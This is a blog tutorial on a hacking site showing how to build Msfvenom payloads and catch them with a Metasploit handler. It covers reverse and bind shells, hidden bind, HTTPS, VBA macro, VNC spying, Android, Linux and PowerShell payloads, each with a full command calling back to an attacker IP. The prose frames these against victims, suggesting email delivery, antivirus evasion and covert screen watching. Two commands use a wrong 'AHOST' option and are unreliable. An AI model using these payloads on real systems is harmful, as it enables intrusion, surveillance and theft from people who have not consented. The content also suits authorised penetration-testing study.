Skip to content
hack reveal logo png
HACK REVEAL
  • Home
  • Android
  • Windows
  • Hacks
    • Hacking
    • Reveals
  • Linux
    • kali Linux
    • Exploits
    • Metasploit
  • Tech
    • Cryptocurrency
  • AI Tools
  • Best Product
hack reveal logo png
HACK REVEAL
what is msfvenom and how to use it on kali linux

How to use Msfvenom Commands in Kali Linux

Amit, 10, April 202310, April 2023

In this article you will learn about the numerous possibilities of Msfvenom. Use this tool to construct shellcode with various extensions and tactics.

TABLE OF CONTENTS

  • 1 Msfvenom
  • 2 Shellcode
  • 3 Using Msfvenom
  • 4 How to generate a payload with Msfvenom
    • 4.1 Reverse Shell
      • 4.1.1 How to Setup for Listeners
    • 4.2 Msfvenom Bind shell
    • 4.3 Reverse TCP Payload
    • 4.4 Msfvenom HTTPS Payload
    • 4.5 Hidden Bind TCP Payload
    • 4.6 Reverse Shell Payload with Netcat
    • 4.7 Macro Payload
    • 4.8 VNC Payload
    • 4.9 Msfvenom Android Payload
    • 4.10 Linux Payload
    • 4.11 PowerShell Payload
  • 5 Access Android with Msfvenom (Cybersecurity) 🔥
    • 5.1 About The Author
      • 5.1.1 Amit
    • 5.2 Related

Msfvenom

Msfvenom is a command line tool for Metasploit to generate shellcode. It is also called Payload Generating and Encoding System. Because on June 8, 2015, it replaced the role of msfpayload and msfencode.

Shellcode

Shellcode is malicious computer code that sends the creator back to a remote shell. Nowadays, many large organizations are the target of malicious shellcode.

A hacker John intercepts a file and sends it to a company employee who executes it. The hacker gains remote control of a device when it is installed or executed.

Shellcode can also be inserted into legitimate software to create a backdoor.

Using Msfvenom

Firstly, use the msfvenom program to generate the shell code file. Secondly copy the payload to a Windows 7 machine and run it. However, sometimes the Windows firewall blocks this kind of payload. In addition, msfvenom also encoding payload that bypass antivirus without any doubt. Thirdly, and most importantly, the Kali Linux system must be configured to scan for incoming connections.

Requirements:

  • Kali Linux with Metasploit
  • Windows 7 Machine on same network
  • Android Phone

Enter the msfvenom command in the Kali Linux terminal. It provides all the options for creating a payload.

msfvenom

Before using msfvenom, please read the options included in it first:

msfvenom command help and options

How to generate a payload with Msfvenom

You must select a platform, a payload, and sometimes an encoder before you can create a shell file. In addition, Msfvenom offers unique capabilities that allow it to bypass antivirus software.

You need to look at the 500+ payloads that are currently available.

msfvenom -l payloads

Above all, look briefly at the possible combinations. Some of them involve certain operations, like creating a user. Others are more serious, like “windows/format_all_drives” (also known as ShellcodeOfDeath). This payload formats all mounted drives on the remote target.

Reverse Shell

In contrast, a reverse shell, often referred to as a connect-back, requires the attacker to first set up a listener on his system. The target computer acts as a client that connects to this listener. Then the attacker finally receives the shell.

Let us use our Windows 7 PC as a target and create a simple reverse shell.

In the Kali terminal, enter the msfvenom combinator command as shown below:

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe > payload.exe

-p for payload, LHOST for Kali Linux IP, type ipconfig in another terminal to get your local IP.
LPORT for local port (set port 4444 as default), -f for output format and payload.exe is the name of the shellcode, you can rename it.

How to Setup for Listeners

transfer the file “payload.exe” to the target computer running Windows 7. For our purposes, you can simply drag and drop the file between the Kali system and the Windows 7 VM.

However, in real life, an attacker would probably try to get the victim to execute the shellcode. For example, by attaching the shellcode file to an official-looking email.

Start Metasploit Framework on Kali Linux by typing msfconsole in the terminal. Then set up a handler to wait for incoming connections:

use exploit/multi/handler 

Use same payload for listener.

set payload windows/shell/reverse_tcp 

You need to set default LPORT.

set LPORT 4444 

In the LHOST, you can use your local IP address.

set LHOST 192.168.1.10

Finally this exploit is ready to start listening with exploit command.

exploit

Now run the “payload.exe” file on the target Windows system, and the attacker’s terminal will display the following:

metasploit multi handler exploit with reverse shell that created with msfvenom

Just type exit to leave the shell and return to Metasploit. To repeat this for again listening.

Msfvenom Bind shell

A bind shell is a shell that starts a new service on the target computer. Consequently, the attacker must connect to establish a session.

msfvenom -p windows/meterpreter/bind_tcp -f exe > bind.exe

Reverse TCP Payload

A reverse shell is referred to as a connect-back. To do this, the attacker must first set up a listener on his system. The target computer acts as a client that connects to this listener, for example.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=5555 -f exe > reverse_tcp.exe

Msfvenom HTTPS Payload

The question arises: what if the victim has blocked all ports? So, The previous two payloads can be used if the victim system has the required ports open.

In conclusion, we can generate payloads that correspond to the open ports on the victim machine, e.g. 443 for https:

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.107 LPORT=443 -f exe > /root/Desktop/443.exe

Hidden Bind TCP Payload

Let us see another method offered by the msfvenom tool and try to exploit the target computer. Moreover, this time we get the shell of the victim computer and not a meterpreter session.

However, this payload runs invisibly in the background while active and is not detected by any port scanner.

msfvenom -p windows/shell_hidden_bind_tcp AHOST=192.168.0.10 LPORT=1010 -f exe > hidden.exe

Reverse Shell Payload with Netcat

Let us consequently the procedure with shell_reverse_tcp payload. Another method to get the victim’s shell session.

msfvenom -p windows/shell_reverse_tcp AHOST=192.168.0.107 LPORT=4444 -f exe > ncshell.exe

Macro Payload

To exploit the PC target, we now generate a payload using a VBA script. This payload is used to create an Excel macro.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=7777 -f vba

VNC Payload

Why do not we take advantage of the fact that this payload allows us to steal the victim’s computer without him knowing about it and observe his behavior in secret.

msfvenom -p windows/vncinject/reverse_tcp LHOST=192.168.0.107 LPORT=5900 -f exe > /root/Desktop/vnc.exe

Msfvenom Android Payload

Let us use one of the Android exploits available in the msfvenom tool and use it to our advantage. Mobile exploitation has always been a hot topic and it still is today.

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=4444 > file.apk

Linux Payload

For the Linux payload, open Kali Terminal and type the following command:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=4444 -f elf > shell

PowerShell Payload

In the Kali terminal, enter the following command to create a payload for Windows PowerShell:

msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.1.10 LPORT=4444 > shell.bat

Last but not least – Metasploit Payloads (Detailed Spreadsheet)

Access Android with Msfvenom (Cybersecurity) 🔥

Article References

  1. Metasploit Documentation
  2. Hacking Articles
  3. Intermediate Security Testing With Kali Linux Book available on amazon
  4. LoiLiangYang YouTube Channel

About The Author

Amit

See author's posts

Related

Exploits kali Linux Metasploit encoderexploitKali LinuxmsfvenomMsfvenom command optionspayloadshellcode

Post navigation

Previous post
Next post

Related Posts

kali Linux What is kali Linux default password

Kali Linux Default Password And How To Change Or Reset It

25, July 202325, July 2023

For the default username and password, each Linux distribution has its own set of restrictions. Some will generate it for you, and most will have a short wizard on the first boot to walk you through the process. Kali Linux is not an exception, with its default user and password…

Read More
Hacking

Sqlmap Cheat Sheet Everything you need to know

19, June 202212, December 2022

SQLmap is an open-source tool used in penetration testing to detect and exploit SQL injection flaws. SQLmap automates the process of detecting and exploiting SQL injection.TABLE OF CONTENTS0.1 What is SQLMAP ?0.2 How to Download SQLMAP?0.2.0.1 Sqlmap tutorial step by step1 Disclaimer1.0.1 About The Author1.0.1.1 Ankit ChaubeyWhat is SQLMAP ?…

Read More
How To How to send Infinite SMS messages

How to send Infinite SMS Messages

15, September 202315, September 2023

Sometimes, hackers take pleasure in scaring or making fun of people by saying that their account has been compromised. They do this by sending people an endless stream of spam SMS messages, making it appear that their account has been compromised. These spammers either want to scare people or secretly…

Read More

Leave a ReplyCancel reply

Search

Recent Posts

  • How To Use AI To Earn $10,000 Monthly Online
  • How To Format Hard Drive On Your Windows PC
  • CEH v11 Certified Ethical Hacker PDF Download
  • RapidScan: The Ultimate Multi-Tool Web Vulnerability Scanner
  • Zphisher: The Ultimate Automated Phishing Tool Explained

Archives

  • Certified Ethical Hacker PDF
    CEH v11 Certified Ethical Hacker PDF Download
  • How to Use Photoshop's AI Generative Fill
    How to Use Photoshop’s AI Generative Fill In 2023
  • 40 Best Text to Video AI Tools
  • How to Fix “This account is not allowed to use WhatsApp” Error
    How to Fix “This account is not allowed to use WhatsApp” Error
  • 4 ways to hack cameras
    4 Ways To Hack CCTV Cameras And How To Prevent
  • AI Website Builders
    The 7 Best AI Website Builders In 2023
  • PhoneSploit Pro
    PhoneSploit Pro: Taking Phone Hacking to the Next Level
  • Bypass Your Android Screen Lock Without a Password
    How to Hack/Bypass Android Screen Lock Without a Password
  • Instagram Password Hacking
    Bruteinsta: The Ultimate Instagram Password Hacking Tool?
  • Burner Phone
    What is a Burner Phone: Everything You Need to Know
  • how to access Dark Web
    Exploring the Dark Web: How to Get Started Safely
  • anime face changer
    The Best Ai Anime Editor Apps For Android And iOS

AI News (5) AI Tools (10) Android (66) Best Product (29) ChatGPT (1) Cryptocurrency (5) Cyber Security (49) Deal (19) Exploits (11) Games (10) Hacking (80) Hacks (15) How To (65) kali Linux (41) Linux (70) Metasploit (6) Reveals (112) SEO (3) Tech (141) Uncategorized (2) Windows (71) Windows Tips (17)

©2023 HACK REVEAL | WordPress Theme by SuperbThemes